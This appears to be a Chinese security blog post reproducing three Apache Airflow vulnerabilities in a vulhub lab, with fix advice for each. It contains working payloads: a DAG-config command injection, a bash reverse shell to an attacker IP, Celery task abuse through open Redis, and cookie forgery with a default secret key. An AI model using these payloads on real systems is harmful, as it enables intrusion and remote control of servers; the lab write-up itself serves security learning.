Apache Airflow系列漏洞复现

admin 2022年4月23日00:11:54评论1,235 views字数 3298阅读10分59秒阅读模式
  Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度
  这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
0x01 Apache Airflow 示例dag中的命令注入(CVE-2020-11978)
1.1 漏洞简介
  Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
1.2 影响版
  Apache Airflow <= 1.10.10
1.3 漏洞复现
1.3.1 靶场搭建
  本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
Apache Airflow系列漏洞复现
docker-compose up -d
Apache Airflow系列漏洞复现
  访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
Apache Airflow系列漏洞复现
1.3.2 漏洞复现
  访问http://192.168.160.142:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
Apache Airflow系列漏洞复现
  进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
Apache Airflow系列漏洞复现
  在Configuration JSON中输入:{"message":"'";touch /tmp/airflow_dag_success;#"},再点击Trigger执行dag。
Apache Airflow系列漏洞复现
  等几秒可以看到执行成功。
Apache Airflow系列漏洞复现Apache Airflow系列漏洞复现
  进入容器查看目录,发现成功创建/tmp/airflow_dag_success文件,漏洞复现成功。
Apache Airflow系列漏洞复现
1.3.3 反弹shell
  攻击机192.168.160.143开启nc,监听8888端口。
Apache Airflow系列漏洞复现
  在Configuration JSON中输入:{"message":"'";bash -i >& /dev/tcp/192.168.160.143/4444 0>&1;#"},再点击Trigger执行dag。
Apache Airflow系列漏洞复现
  等几秒可以看到执行成功,且成功反弹shell。
Apache Airflow系列漏洞复现
Apache Airflow系列漏洞复现
1.4 修复建议
  升级到1.10.10之后版本
  删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
1.5 参考链接
https://github.com/pberba/CVE-2020-11978
https://github.com/vulhub/vulhub/blob/master/airflow/CVE-2020-11978/
https://xz.aliyun.com/t/8037?page=1

0x02 Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)
2.1 漏洞简介
  Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。
2.2 影响版本
  Apache Airflow <= 1.10.10
2.3 漏洞复现
2.3.1 靶场搭建
  本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
Apache Airflow系列漏洞复现
docker-compose up -d
Apache Airflow系列漏洞复现
  访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
Apache Airflow系列漏洞复现
2.3.2 漏洞复现
  利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令,参数为命令执行中所需要的数组。
vulhub中自带利用脚本,为“touch /tmp/airflow_celery_success”命令。
Apache Airflow系列漏洞复现
  使用脚本进行漏洞利用。
Apache Airflow系列漏洞复现
  查看日志,可以看到如下任务消息。
docker-compose logs airflow-worker
Apache Airflow系列漏洞复现
  查看容器目录,/tmp/airflow_celery_success文件创建成功。
docker-compose exec airflow-worker ls -l /tmp
Apache Airflow系列漏洞复现

2.4 漏洞修复
  升级到1.10.10之后版本
2.5 参考链接
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
https://www.jianshu.com/p/abec6fd13236
0x03 Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
3.1 漏洞简介
  Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
3.2 影响版本
  Apache Airflow <= 1.10.13
3.3 漏洞复现
3.3.1 靶场搭建
  本次靶场使用vulhub中的docker环境,开启前先对数据库进行初始化。靶场地址为http://192.168.160.142:8080。
docker-compose run airflow-init
Apache Airflow系列漏洞复现
docker-compose up -d
Apache Airflow系列漏洞复现
  访问http://192.168.160.142:8080,Apache Airflow页面正常展示,靶场搭建成功。
Apache Airflow系列漏洞复现
3.3.2 漏洞复现
  访问登录页面,获取服务器返回的签名Cookie。
Cookie:session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYmM4NTAzYzY2ZWViYjYyNjkxZTM5YzFkODVmYmM5MjY1NzE5YzI3ZiJ9.Yl_BqQ.p7d6xavYN19awJVw1ubVzPxHONA
Apache Airflow系列漏洞复现
  下载Flask_Unsign工具。
pip install flask-unsign
Apache Airflow系列漏洞复现
pip install flask-unsign[wordlist]
Apache Airflow系列漏洞复现
  使用Flask_Unsign工具对Cookie进行破解,其key为“temporary_key”。
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiYmM4NTAzYzY2ZWViYjYyNjkxZTM5YzFkODVmYmM5MjY1NzE5YzI3ZiJ9.Yl_BqQ.p7d6xavYN19awJVw1ubVzPxHONA
Apache Airflow系列漏洞复现
  使用这个key生成一个新的session,其中伪造`user_id`为1。
Apache Airflow系列漏洞复现
  在浏览器中使用生成的cookie访问,成功绕过登录进入页面。
Apache Airflow系列漏洞复现
Apache Airflow系列漏洞复现

3.4 修复建议
  更改[webserver] “secret_key”配置默认值。
  更新安全版本。
3.5 参考链接
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
https://www.jianshu.com/p/abec6fd13236

原文始发于微信公众号(Matrix1024):Apache Airflow系列漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日00:11:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Airflow系列漏洞复现http://cn-sec.com/archives/930196.html

发表评论

匿名网友 填写信息